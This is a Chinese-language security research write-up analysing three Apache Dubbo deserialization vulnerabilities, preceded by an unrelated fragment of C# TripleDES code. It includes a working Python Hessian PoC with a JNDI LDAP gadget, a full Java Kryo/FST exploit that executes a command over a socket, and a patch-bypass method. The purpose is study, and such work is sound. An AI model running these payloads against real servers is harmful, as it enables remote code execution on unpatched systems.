Console.WriteLine("{0}", plaintext); 26 } 27 else if (args.Length == 3 && args[0].ToLower().Equals("encrypt")) 28 { 29 string encryptionPrivateKey = args[1]; 30   31 string plaintext = args[2]; 32   33 var tDESalg = new TripleDESCryptoServiceProvider(); 34 tDESalg.Key = new ASCIIEncoding().GetBytes(encryptionPrivateKey.S 35 tDESalg.IV = new ASCIIEncoding().GetBytes(encryptionPrivateKey.Su 36   37 byte[] cipherText = EncryptTextToMemory(plaintext, tDESalg.Key, t 38   39 Console.WriteLine("{0}", Convert.ToBase64String(cipherText)); 40 } 41 else 42 { 43 Console.WriteLine("Usage:\Crpyt.exe encrypt/decrypt key plaintext 44 } 45   46 } 47   48 private static string DecryptTextFromMemory(byte[] data, byte[] key, byte 49 { 50 using (var ms = new MemoryStream(data)) 51 { 52 using (var cs = new CryptoStream(ms, new TripleDESCryptoServicePr 53 { 54 var sr = new StreamReader(cs, new UnicodeEncoding()); 55 return sr.ReadLine(); 56 } 57 } 58 } 59   60 private static byte[] EncryptTextToMemory(string data, byte[] key, byte[] 61 { 62 using (var ms = new MemoryStream()) 63 { 64 using (var cs = new CryptoStream(ms, new TripleDESCryptoServicePr 65 { 66 byte[] toEncrypt = new UnicodeEncoding().GetBytes(data); 67 cs.Write(toEncrypt, 0, toEncrypt.Length); 68 cs.FlushFinalBlock(); 69 } 70   71 return ms.ToArray(); 72 } 73 } 74 } 75 }
pdf
0x00 起因 原本不想炒冷饭的,有一天看到师傅们再说IDEA里面Debug获取的时候会默认调用ToString 方法,然后就去google了一下相关的后反序列化知识,因为提前跑路却沦落在家隔离没事可做 就多搜索了一点,感觉Dubbo的三个洞还是蛮有代表性的,就调试分析学习下。 漏洞列表: CVE-2019-17564 CVE-2020-1948 CVE-2021-25641 0x01 Dubbo介绍 Apache Dubbo 是一款高性能Java RPC框架。漏洞存在于 Apache Dubbo默认使用的反序列 化工具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常 会带有无法识别的服务名或方法名,以及一些恶意的参数负载。当恶意参数被反序列化时,达 到代码执行的目的。 使用Dubbo的最常见方法是在Spring框架中运行 dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:dubbo 协议的 dubbo, hessian2,java,compactedjava,rmi 协议缺省为 java,以及 http 协议的 json 等。 dubbo 序列化:阿里尚未开发成熟的高效 java 序列化实现,阿里不建议在生产环境 使用它 hessian2 序列化:hessian 是一种跨语言的高效二进制序列化方式。但这里实际不 是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,它是 dubbo RPC 默认启 用的序列化方式 json 序列化:目前有两种实现,一种是采用的阿里的 fastjson 库,另一种是采用 dubbo 中自己实现的简单 json 库,但其实现都不是特别成熟,而且 json 这种文本序列 化性能一般不如上面两种二进制序列化。 java 序列化:主要是采用 JDK 自带的 Java 序列化实现,性能很不理想。 这四种主要序列化方式的性能从上到下依次递减。对于 dubbo RPC 这种追求高性能的远程调用 方式来说,实际上只有 1、2 两种高效序列化方式比较般配,而第 1 个 dubbo 序列化由于还 不成熟,所以实际只剩下 2 可用,所以 dubbo RPC 默认采用 hessian2 序列化。 但 hessian 是一个比较老的序列化实现了,而且它是跨语言的,所以不是单独针对 java 进行 优化的。而 dubbo RPC 实际上完全是一种 Java to Java 的远程调用,其实没有必要采用跨语 言的序列化方式(当然肯定也不排斥跨语言的序列化)。 0x02 Dubbo环境搭建 (这里就用的网上的师傅的了,当然你要是只想复现的话,P牛vulhub里面也有现成的环境) ZooKeeper: 下载地址:https://zookeeper.apache.org/releases.html 配置: conf目录下提供了配置的样例zoo_sample.cfg,要将zk运行起来,需要将其名称修改为 zoo.cfg。(记得提前创建下data和Log的文件夹) 1 tickTime=2000 2 initLimit=10 3 syncLimit=5 4 dataDir=C:\\Users\\xxx\\Desktop\\zookeeper‐3.4.14\\conf\\data 5 dataLogDir=C:\\Users\\xxx\\Desktop\\zookeeper‐3.4.14\\conf\\log 6 clientPort=2181 然后启动bin目录下的文件就ok了,下面是windows成功的图 Dubbo项目: 这里推荐使用奶思师傅的模板(奶思师傅的文章是真的清晰,师傅们可以看下) https://www.anquanke.com/post/id/263274 0x03 CVE-2019-17564 Apache dubbo HTTP协议反序列化漏洞分析 0x03-0 漏洞介绍 本次问题出现在dubbo开启http协议后,会将消费者提交的request请求,在无安全校验的 情况下直接交给了spring-web.jar进行处理,最终request.getInputStream()被反序列化,故存 在反序列化漏洞。 0x03-1 影响范围 2.7.0 <= Apache Dubbo <= 2.7.4 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x 0x03-2 漏洞知识点 1.基本的一些链子知识(这个漏洞用到的相对较少) 0x03-3 漏洞调试 这里的断点参考了很多Y4er师傅的调试,第一个断点断在了 dubbo-2.7.3.jar!\org\apache\dubbo\remoting\http\servlet\DispatcherServlet.class 了,这里 然后后面我们跟进这个handle方法里面瞅瞅看,因为我们当前是http方式的,所以会跳到 org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle方法 这里判断了是否是POST方法,不是就抛出500的响应码了,所以这个洞也只能用POST请求的 方式触发我们继续 处理对象是HttpInvokerServiceExporter类对象,它负责获取远程调用对象,并执行获取 结果返回给客户端。 跟进它的handleRequest方法,request对象被传入readRemoteInvocation方法中来获取 RemoteInvocation远程调用对象 然后我们跟进 writeRemoteInvocationResult readRemoteInvocation方法将request.getInputStream()(我们提交的序列化内容)传入 createObjectInputStream方法,封装为一个ObjectInputStream。该对象又被传入 doReadRemoteInvocation方法中,进行最终的获取操作。 在doReadRemoteInvocation方法中,ObjectInputStream类对象ois直接被反序列化了。这 个过程中没有进行任何过滤,导致我们传入的恶意序列化对象可以被反序列化创建,漏洞触 发! 1 //org.springframework.remoting.rmi.org.springframework.remoting.rmi.RemoteInv ocationSerializingExporter 2 protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) thro ws IOException, ClassNotFoundException { 3  // 1. 恶意对象在此被反序列化,漏洞触发 4  Object obj = ois.readObject(); 5  if (!(obj instanceof RemoteInvocation)) { 6  throw new RemoteException("Deserialized object needs to be assignable to typ e [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj)); 7  } else { 8  return (RemoteInvocation)obj; 9  } 10 } 0x03-4 漏洞利用方面(实战方面) 其实这个洞理论上非常的不是很好用,因为确实是太多的限制,就是P神之前说到的一些点 1.默认Dubbo的通信方式是Dubbo协议,而非HTTP 2.而且利用该漏洞需要知道目标Dubbo的RPC接口名,Zookeeper除非有未授权漏洞让你获取 信息 3.Dubbo的利用常出现的是内网,基本上不能用在打点上 总之这并不是一个很好用的漏洞,偶尔可能会有奇效。 0x04 CVE-2020-1948 Apache dubbo Hession协议反序列化漏洞分析 0x04-0 漏洞介绍 Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏 洞。攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当 服务端存在可以被利用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对 Dubbo服务端进行恶意代码执行。 0x04-1 影响范围 Apache Dubbo 2.7.0 ~ 2.7.6 Apache Dubbo 2.6.0 ~ 2.6.7 Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。 在实际测试中2.7.8补丁绕过可以打,而2.7.9失败 0x04-2 漏洞知识点 1.Hessian利用链(https://www.anquanke.com/post/id/263274#h2-9) 0x04-3 漏洞调试 调试前最好关闭 Enable 'toString()' object view,否则漏洞会提前自动触发 这里我用的是网上最大众的ROME链进行调试的,顺便说一下网上为什么会有两种调试流程 的原因: 原作者的POC,使用的是任意不存在的service和method,导致Dubbo找不到注册的service 而抛出异常,在抛出异常的时候触发漏洞,其实Dubbo在对注册的service其实会有另一种调用 流程,也就是使用comsumer携带恶意参数去远程调用这个真实存在的方法导致了会出现两种调 用链的不一样 所以有两种触发方法 1. 在刚传入序列化值时依赖Rome的toString方法通过构造HashMap触发key的hashCode实 现反序列化 2. 反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的 toString方法导致RCE 攻击的python版poc 1 from dubbo.codec.hessian2 import Decoder,new_object 2 from dubbo.client import DubboClient 3 4 client = DubboClient('127.0.0.1', 20880) 5 6 JdbcRowSetImpl=new_object( 7  'com.sun.rowset.JdbcRowSetImpl', 8  dataSource="ldap://127.0.0.1:1389/gvrrfk", 9  strMatchColumns=["foo"] 10  ) 11 JdbcRowSetImplClass=new_object( 12  'java.lang.Class', 13  name="com.sun.rowset.JdbcRowSetImpl", 14  ) 15 toStringBean=new_object( 16  'com.rometools.rome.feed.impl.ToStringBean', 17  beanClass=JdbcRowSetImplClass, 18  obj=JdbcRowSetImpl 19  ) 20 21 resp = client.send_request_and_return_response( 22  service_name='cn.rui0',//这个是两种触发方法的不同之处 23  method_name='$invoke',//这里也直接把绕过补丁的地方改好了 24  args=[toStringBean]) 25 26 print(resp) 27 情况一: 好,启动JNDI监听,我们将paylaod打过去之后,开始调试,入口点我们将第一个断点打在 dubbo-2.7.3.jar!\org\apache\dubbo\rpc\protocol\dubbo\DubboCountCodec.class#decode方 法(我看网上有师傅能断在received方法上,但是我找不到图了,啧啧啧),其实这里只是又 获取了一遍,并没有什么实质性的解码 继续跟进到 dubbo- 2.7.3.jar!\org\apache\dubbo\remoting\exchange\codec\ExchangeCodec.class#decode同名 函数之中(其实就是读取传输过来的数据进行数据获取然后调用了同名函数,主要还是一些处 理的方法),继续跟进到达DemoCodeC函数的decodebody方法内部(主要是104行触发了 deserialize方法) 跟进方法后,发现他是用一个HashMap来处理获取,然后通过获取参数获得到反序列化的协 议名称(这里久直接找的网上师傅的图了,有着具体id对应的序列化方式,下个漏洞的时候也 会再次提到),从而继续调用 然后根据获取到的id确定了具体的序列化方法 然后跟进到里面的的处理方法,流程还是比较长的,毕竟有一堆case,所以找比较重点的 (个人觉得吧)dubbo- 2.7.3.jar!\com\alibaba\com\caucho\hessian\io\JavaDeserializer.class#readobject方法 (不要郁闷为啥你跳进来和我不一样,因为有很多同名函数,这里就就截了一张图) 下一个比较重要的点是获取到ToStringBean的这里(这里相当于是不断读取payload里面传 入的类),因为触发原理实际上就是ROME链的ToStringBean.tostring()方法 然后继续跟进后会发现跟进一个Dubbo里面Hession协议对Map的处理(每个协议都有对应的 Map处理函数,这个后面也会愈发的体现出来),这里是根据Map类型进行操作(前面也说到了 他是构建了一个HashMap进行的操作) 这里也偷一下师傅的源码图 然后到达dubbo- 2.7.3.jar!\com\alibaba\com\caucho\hessian\io\MapDeserializer.class#doReadMap对于Map 进行读取的方法,继续跟进 继续跟进发现最终调用了key.hashCode方法,key为EqualsBean对象之后,顺利到达sink点 基本比较关键的调用链是 1 connect():624, JdbcRowSetImpl (com.sun.rowset) 2 getDatabaseMetaData():4004, JdbcRowSetImpl (com.sun.rowset) 3 invoke0(Method, Object, Object[]):‐1, NativeMethodAccessorImpl (sun.reflect) 4 invoke(Object, Object[]):62, NativeMethodAccessorImpl (sun.reflect) 5 invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect) 6 invoke(Object, Object[]):498, Method (java.lang.reflect) 7 toString(String):158, ToStringBean (com.rometools.rome.feed.impl) 8 toString():129, ToStringBean (com.rometools.rome.feed.impl) 9 beanHashCode():198, EqualsBean (com.rometools.rome.feed.impl) 10 hashCode():180, EqualsBean (com.rometools.rome.feed.impl) 11 hash(Object):338, HashMap (java.util) 12 put(Object, Object):611, HashMap (java.util) 13 //接下来进入HashMap的反序列化过程:由于需要获取hash值,先要将对象转换为String,从 而循环调用对象中属性的toString()函数,最终调用了JdbcRowSetImpl的toString() 14 15 16 17 //利用了hessian的反序列化过程,接下来进入HashMap的反序列化过程。 18 doReadMap(AbstractHessianInput, Map, Class, Class):145, MapDeserializer (com.alibaba.com.caucho.hessian.io) 19 readMap(AbstractHessianInput, Class, Class):126, MapDeserializer (com.alibab a.com.caucho.hessian.io) 20 readObject(List):2703, Hessian2Input (com.alibaba.com.caucho.hessian.io) 21 readObject():2278, Hessian2Input (com.alibaba.com.caucho.hessian.io) 22 readObject(Class, Class[]):2080, Hessian2Input (com.alibaba.com.caucho.hessi an.io) 23 readObject(Class):2074, Hessian2Input (com.alibaba.com.caucho.hessian.io) 24 readObject(Class):92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2) 25 26 27 //RpcInvocation对象的作用是数据传递,告诉服务端调用哪个函数,参数是多少,参数的类型 是什么。 28 decode(Channel, InputStream):139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) 29 decode():79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) 30 decode(Object):57, DecodeHandler (org.apache.dubbo.remoting.transport) 31 received(Channel, Object):44, DecodeHandler (org.apache.dubbo.remoting.trans port) 32 run():57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatch er) 33 runWorker(ThreadPoolExecutor$Worker):1142, ThreadPoolExecutor (java.util.con current) 34 run():617, ThreadPoolExecutor$Worker (java.util.concurrent) 35 run():745, Thread (java.lang) 36 情况二: 这里我就直接把不同的地方写出来了(其实除了sink点是一样的,其余基本都不一样,这里还 是挑重点的地方说吧) 首先就是最重要的dubbo- 2.7.3.jar!\org\apache\dubbo\rpc\protocol\dubbo\DubboProtocol.class的getInvoker方 法,这里对未找到service而抛出异常 然后我们跟进到抛异常的函数中去,其中inv是DecodeableRpcInvocation的实例对象,在这里 会默认调用其toString方法 然后我们继续看会如何处理toString方法的 emmmm,朴实无华 好,还是比较关键的调用链是 1 connect():624, JdbcRowSetImpl (com.sun.rowset)//发起DNS请求的地方 2 getDatabaseMetaData():4004, JdbcRowSetImpl (com.sun.rowset) 3 invoke0(Method, Object, Object[]):‐1, NativeMethodAccessorImpl (sun.reflect) 4 invoke(Object, Object[]):62, NativeMethodAccessorImpl (sun.reflect) 5 invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect) 6 invoke(Object, Object[]):498, Method (java.lang.reflect) 7 8 toString(String):158, ToStringBean (com.rometools.rome.feed.impl)//toString函 数的基本逻辑是:遍历对象的所有属性,调用属性对应的getter函数获取到属性的值,然后转换成 字符串打印出来。 9 toString():129, ToStringBean (com.rometools.rome.feed.impl) //把当前对象转换为S tring。完全符合中间链接类的特征,被他人调用,然后逻辑中有invoke()可跳转其他类的其他函 数。 10 11 12 valueOf(Object):2994, String (java.lang) 13 toString(Object[]):4571, Arrays (java.util) 14 toString():429, RpcInvocation (org.apache.dubbo.rpc)//为了将RpcInvocation对象 转为字符串,就需要将其内部属性都转换为字符串,就去遍历对象的属性,调用其toString()函数 15 valueOf(Object):2994, String (java.lang) 16 append(Object):131, StringBuilder (java.lang)//这几个函数调用都可以不看,反正就 是为了获取到字符串。 17 18 19 //这里是关键步骤:为了输出错误信息,需要将RpcInvocation对象转为字符串。这个步骤导致 了不需要hessian的反序列化过程。 20 getInvoker(Channel, Invocation):265, DubboProtocol (org.apache.dubbo.rpc.pro tocol.dubbo) //这个函数进入到了错误处理逻辑,错误输出是将各个对象转换成字符串然后输 出。 21 reply(ExchangeChannel, Object):120, DubboProtocol$1 (org.apache.dubbo.rpc.pr otocol.dubbo)// 收到的对象是一个RpcInvocation对象 22 handleRequest(ExchangeChannel, Request):100, HeaderExchangeHandler (org.apac he.dubbo.remoting.exchange.support.header) 23 received(Channel, Object):175, HeaderExchangeHandler (org.apache.dubbo.remot ing.exchange.support.header) 24 received(Channel, Object):51, DecodeHandler (org.apache.dubbo.remoting.trans port)//1、dubbo收到客户端的请求,开始decode处理 25 run():57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatch er) 26 runWorker(ThreadPoolExecutor$Worker):1142, ThreadPoolExecutor (java.util.con current) 27 run():617, ThreadPoolExecutor$Worker (java.util.concurrent) 28 run():745, Thread (java.lang) 0x04-4 补丁绕过分析 这次针对该漏洞的补丁代码非常简单,在分析该漏洞时说过在DecodeableRpcInvocation类的有 一个if 判断,以下是2.7.3版本中该获取的代码 更新后的2.7.7版本该判断的代码如下,可见在该判断內有增加了一个if 判断,且新增加的判 断如果判断失败则会抛出IllegalArgumentException异常终止当前线程的执行。 那么如何绕过该判断让程序继续执行下去从而触发远程代码执行,我们跟入 RpcUtils.isGenericCall()方法中来仔细观察。 不难发现该方法内用仅仅只用String.equals方法对比了method参数是否和INVOKE_ASYNC常 量的值相同。 我们此时 method的值并不相同,紧接着进入RpcUtils.isEcho()方法,同样是和常量进行 对比,显然结果也不相同 所以if 判断内的最终结果为true,从而抛出异常终止执行。绕过的方法相比大家也都想到 了,我们只要让method的值等于“$invoke”,“$invokeAsync”,“$echo”任意一个即可绕 过。 0x04-5 漏洞利用方面(实战方面) 这个洞相较于19年的洞的利用条件小很多了,所以基本实战理论上还是很常用的(个人见 解,毕竟我还是个没毕业的小白) 0x05 CVE-2021-25641 Dubbo Kryo/FST反序列化漏洞分析 0x05-0 漏洞介绍 Dubbo Provider即服务提供方默认使用dubbo协议来进行RPC通信,而dubbo协议默认是使用 Hessian2序列化格式进行对象传输的,但是针对Hessian2序列化格式的对象传输可能会有黑白 名单设置的限制,参考:https://github.com/apache/dubbo/pull/6378 针对这种场景,攻击者可以通过更改dubbo协议的第三个flag位字节来更改为使用Kryo或 FST序列化格式来进行Dubbo Provider反序列化攻击从而绕过针对Hessian2反序列化相关的限制 来达到RCE。 0x05-1 影响范围 Dubbo 2.7.0 to 2.7.8 Dubbo 2.6.0 to 2.6.9 Dubbo all 2.5.x versions (not supported by official team any longer) 0x05-2 漏洞知识点 1.这个测试是用的低版本自带的fastjson 0x05-3 漏洞调试 本文使用Poc 1 import com.alibaba.fastjson.JSONObject; 2 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 3 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 4 import com.sun.org.apache.xpath.internal.objects.XString; 5 import javassist.ClassPool; 6 import javassist.CtClass; 7 import org.apache.dubbo.common.io.Bytes; 8 import org.apache.dubbo.common.serialize.Serialization; 9 import org.apache.dubbo.common.serialize.fst.FstObjectOutput; 10 import org.apache.dubbo.common.serialize.fst.FstSerialization; 11 import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput; 12 import org.apache.dubbo.common.serialize.kryo.KryoSerialization; 13 import org.apache.dubbo.common.serialize.ObjectOutput; 14 import org.apache.dubbo.rpc.RpcInvocation; 15 import org.springframework.aop.target.HotSwappableTargetSource; 16 import java.io.ByteArrayOutputStream; 17 import java.io.IOException; 18 import java.io.OutputStream; 19 import java.io.Serializable; 20 import java.lang.reflect.*; 21 import java.net.Socket; 22 import java.util.HashMap; 23 import java.util.HashSet; 24 25 class FstAndKryoGadget { 26  // Customize URL for remote targets 27  public static String DUBBO_HOST_NAME = "localhost"; 28  public static int DUBBO_HOST_PORT = 12345; 29 30  //Exploit variant ‐ comment to switch exploit variants 31  //public static String EXPLOIT_VARIANT = "Kryo"; 32  public static String EXPLOIT_VARIANT = "FST"; 33 34  // Magic header from ExchangeCodec 35  protected static final short MAGIC = (short) 0xdabb; 36  protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0]; 37  protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1]; 38 39  // Message flags from ExchangeCodec 40  protected static final byte FLAG_REQUEST = (byte) 0x80; 41  protected static final byte FLAG_TWOWAY = (byte) 0x40; 42 43 44  public static void setAccessible(AccessibleObject member) { 45  // quiet runtime warnings from JDK9+ 46  member.setAccessible(true); 47  } 48 49  public static Field getField(final Class<?> clazz, final String fieldName) { 50  Field field = null; 51  try { 52  field = clazz.getDeclaredField(fieldName); 53  setAccessible(field); 54  } 55  catch (NoSuchFieldException ex) { 56  if (clazz.getSuperclass() != null) 57  field = getField(clazz.getSuperclass(), fieldName); 58  } 59  return field; 60  } 61 62  public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 63  final Field field = getField(obj.getClass(), fieldName); 64  field.set(obj, value); 65  } 66 67 68  public static void main(String[] args) throws Exception { 69  // 创建恶意类,用于报错抛出调用链 70  ClassPool pool = new ClassPool(true); 71  CtClass evilClass = pool.makeClass("EvilClass"); 72  evilClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.r untime.AbstractTranslet")); 73 74  // 让dubbo provider端报错显示调用链,或者弹计算器 75  //evilClass.makeClassInitializer().setBody("new java.io.IOException().print StackTrace();"); 76 77  evilClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().ex ec(\"calc\");"); 78 79  byte[] evilClassBytes = evilClass.toBytecode(); 80 81  // 构建templates关键属性,特别是_bytecodes 82  TemplatesImpl templates = new TemplatesImpl(); 83  setFieldValue(templates, "_bytecodes", new byte[][]{evilClassBytes}); 84  setFieldValue(templates, "_name", "test"); 85  setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); 86 87  // Dubbo自带fastJson解析器,且这种情况下会自动调用对象的getter方法,从而触发Temp latesImpl.getOutputProperties() 88  JSONObject jo = new JSONObject(); 89  jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper 90 91  // 借助Xstring.equals调用到JSON.toString方法 92  XString x = new XString("HEYO"); 93  Object v1 = new HotSwappableTargetSource(jo); 94  Object v2 = new HotSwappableTargetSource(x); 95 96  // 取消下面三行注释,增加new hashMap的注释,并将后方objectOutput.writeObject(ha shMap)修改为hashSet,从而替换调用链 97  // HashSet hashSet = new HashSet(); 98  // Field m = getField(HashSet.class, "map"); 99  // HashMap hashMap = (HashMap) m.get(hashSet); 100 101  HashMap<Object, Object> hashMap = new HashMap<>(); 102 103  // 反射修改hashMap中的属性,让其保存v1 和 v2,避免本地调用hashMap.put触发payloa d 104  setFieldValue(hashMap, "size", 2); 105  Class<?> nodeC; 106 107  try { 108  nodeC = Class.forName("java.util.HashMap$Node"); 109  } 110  catch ( ClassNotFoundException e ) { 111  nodeC = Class.forName("java.util.HashMap$Entry"); 112  } 113  Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.cl ass, Object.class, nodeC); 114  nodeCons.setAccessible(true); 115 116  Object tbl = Array.newInstance(nodeC, 2); 117  Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 118  Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 119  setFieldValue(hashMap, "table", tbl); 120 121  // 开始准备字节流 122  ByteArrayOutputStream bos = new ByteArrayOutputStream(); 123 124  // 选择FST或者Kryo协议进行序列化 125  Serialization s; 126  ObjectOutput objectOutput; 127  switch(EXPLOIT_VARIANT) { 128  case "FST": 129  s = new FstSerialization(); 130  objectOutput = new FstObjectOutput(bos); 131  break; 132  case "Kryo": 133  default: 134  s = new KryoSerialization(); 135  objectOutput = new KryoObjectOutput(bos); 136  break; 137  } 138 139  // 0xc2 is Hessian2 + two‐way + Request serialization 140  // Kryo | two‐way | Request is 0xc8 on third byte 141  // FST | two‐way | Request is 0xc9 on third byte 142 143  // 组装数据包的头部 144  byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOW AY); 145  byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags, 146  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs 147  bos.write(header); 148 149  // 组装数据包的内容 150  RpcInvocation ri = new RpcInvocation(); 151  ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class}); 152  //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lan g/Object;"); 153 154  // 需要根据dubbo存在的服务添加 155  ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo. demo.DemoService"}, new Object[] {"YOU"}}); 156 157  // Strings need only satisfy "readUTF" calls until "readObject" is reached 158  // 下面四个随便输入,无所谓 159  objectOutput.writeUTF("2.0.1"); 160  objectOutput.writeUTF("org.apache.dubbo.demo.DeService"); 161  objectOutput.writeUTF("0.1.0"); 162  objectOutput.writeUTF("sayello"); 163 164  // 不能随便输入 165  objectOutput.writeUTF("Ljava/lang/String;"); //*/ 166  // 序列化恶意对象 167  objectOutput.writeObject(hashMap); 168  objectOutput.writeObject(ri.getAttachments()); 169  objectOutput.flushBuffer(); 170  byte[] payload = bos.toByteArray(); 171  int len = payload.length ‐ header.length; 172  Bytes.int2bytes(len, payload, 12); 173  // 将数据包用十六进制输出 174  for (int i = 0; i < payload.length; i++) { 175  System.out.print(String.format("%02X", payload[i]) + " "); 176  if ((i + 1) % 8 == 0) 177  System.out.print(" "); 178  if ((i + 1) % 16 == 0 ) 179  System.out.println(); 180 181  } 182  // 将数据包转换成String输出 183  System.out.println(); 184  System.out.println(new String(payload)); 185  // 使用TCP发送payload 186  Socket pingSocket = null; 187  OutputStream out = null; 188  try { 189  pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT); 190  out = pingSocket.getOutputStream(); 191  } catch (IOException e) { 192  return; 193  } 194  out.write(payload); 195  out.flush(); 196  out.close(); 197  pingSocket.close(); 198  System.out.println("Sent!"); 199  } 200 } 重要的点(其实也不重要),pom里面要加这个依赖,要不默认Dubbo是没有fastjson链的 1 <dependency> 2  <groupId>org.apache.dubbo</groupId> 3  <artifactId>dubbo‐common</artifactId> 4  <version>2.7.3</version> 5 </dependency> 调试之前,我们再回顾下Dubbo的协议设计(感觉这里师傅们写的很清楚,就抄过来了) 由于Dubbo可以支持很多类型的反序列化协议,以满足不同系统对RPC的需求,比如 跨语言的序列化协议:Protostuff,ProtoBuf,Thrift,Avro,MsgPack 针对Java语言的序列化方式:Kryo,FST 基于Json文本形式的反序列化方式:Json、Gson Dubbo中对支持的协议做了一个编号,每个序列化协议都有一个对应的编号,以便在获取 TCP流量后,根据编号选择相应的反序列化方法,因此这就是Dubbo支持这么多序列化协议的秘 密,但同时也是危险所在。在org.apache.dubbo.common.serialize.Constants中可见每种序列 化协议的编号 而在Dubbo的RPC通信时,对流量的规定最前方为header,而header中通过指定 SerializationID,确定客户端和服务提供端通信过程使用的序列化协议。Dubbo通信的具体数 据包规定如下图所示 虽然Dubbo的provider默认使用hessian2协议,但我们可以自由的修改SerializationID, 选定危险的(反)序列化方式,例如kryo和fst。 0x04-3_1 Kryo反序列化反序列化 好,我们开始调试,按照上个漏洞的经验,Dubbo获取发来的流量之后,dubbo-2.7.3- sources.jar!\org\apache\dubbo\remoting\transport\netty4\NettyCodecAdapter.java#decode 方法,emmm,这里是获取传入的数据然后继续传递 不多说,我们还是跟到dubbo-2.7.3- sources.jar!\org\apache\dubbo\rpc\protocol\dubbo\DecodeableRpcInvocation.java#decode 方法,这里是主要抉择什么反序列化的方式,然后对刚才对刚才获取的Kryo反序列化方式,并 对类数组的参数进行循环反序列化 然后进入readobject方法里面的最主要的.readClassAndObject方法,从input中读取解析 到type为HashMap,因此会调用Kryo的MapSerializer序列化器来读取input中的信息 然后我们继续跟进到kryo- 4.0.1.jar!\com\esotericsoftware\kryo\serializers\MapSerializer.class#read方法,这里 比较关键的是在for循环中,不断反序列化获取key和value,再使用map.put还原对象,而这个 map会根据传过来的类型自动创建,也就是说,我们发到provider的HashMap类,在provider中 创建了一个空的HashMap对象,也就是这里的map,而后调用HashMap.put方法放入key-value 在dubbo-provider端,给map.put处打断点,进入调试,在map.put处跟进,可见经典的 HashMap.put->HashMap.putVal->key.equals(k) (注意此时key和k是HotSwappableTargetSource类的不同实例对象,结合前面的poc,其中 key=v2,k=v1,v1.target=XString) 然后我们继续跟进到HotSwappableTargetSource.class#equals方法,可以看到这里是用的 &&进行判断,此时我们可以看到调试的变量other=v1=HotSwappableTargetSource,因此other instanceof HotSwappableTargetSource的判断结果是true,所以执行&&后面的语句。此时结合 前面的代码以及调试结果可知this=v2,因此this.target=XString("HEYO"),而 other.target=jo,因此调用的时XString.equals(jo),而在poc的设置中jo里面的key是oops, value是我们熟悉的templete链,跟进XString.equals方法(其实这里就很像是一些cc链的调用 了,只是这次的poc用的是自带的fastjson链) 这里也就顺应到我们的fastjson.toString()触发的链子上来了,没有了解的师傅也可以去 看下fastjson反序列化的执行链,这里就不多叙述了 此时的调用栈为 1 getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsl tc.trax) 2 newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.tr ax) 3 getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsl tc.trax) 4 write:‐1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer) 5 write:270, MapSerializer (com.alibaba.fastjson.serializer) 6 write:44, MapSerializer (com.alibaba.fastjson.serializer) 7 write:280, JSONSerializer (com.alibaba.fastjson.serializer) 8 toJSONString:863, JSON (com.alibaba.fastjson) 9 toString:857, JSON (com.alibaba.fastjson) 10 equals:392, XString (com.sun.org.apache.xpath.internal.objects) 11 equals:104, HotSwappableTargetSource (org.springframework.aop.target) 12 putVal:635, HashMap (java.util) 13 put:612, HashMap (java.util) 14 15 /*将获取到的数据进行读取,并根据读取到的数据进行加操作*/ 16 read:162, MapSerializer (com.esotericsoftware.kryo.serializers) 17 read:39, MapSerializer (com.esotericsoftware.kryo.serializers) 18 readClassAndObject:813, Kryo (com.esotericsoftware.kryo) 19 readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo) 20 readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo) 21 decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) 22 decode:73, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) 23 decodeBody:132, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo) 24 decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec) 25 decode:82, 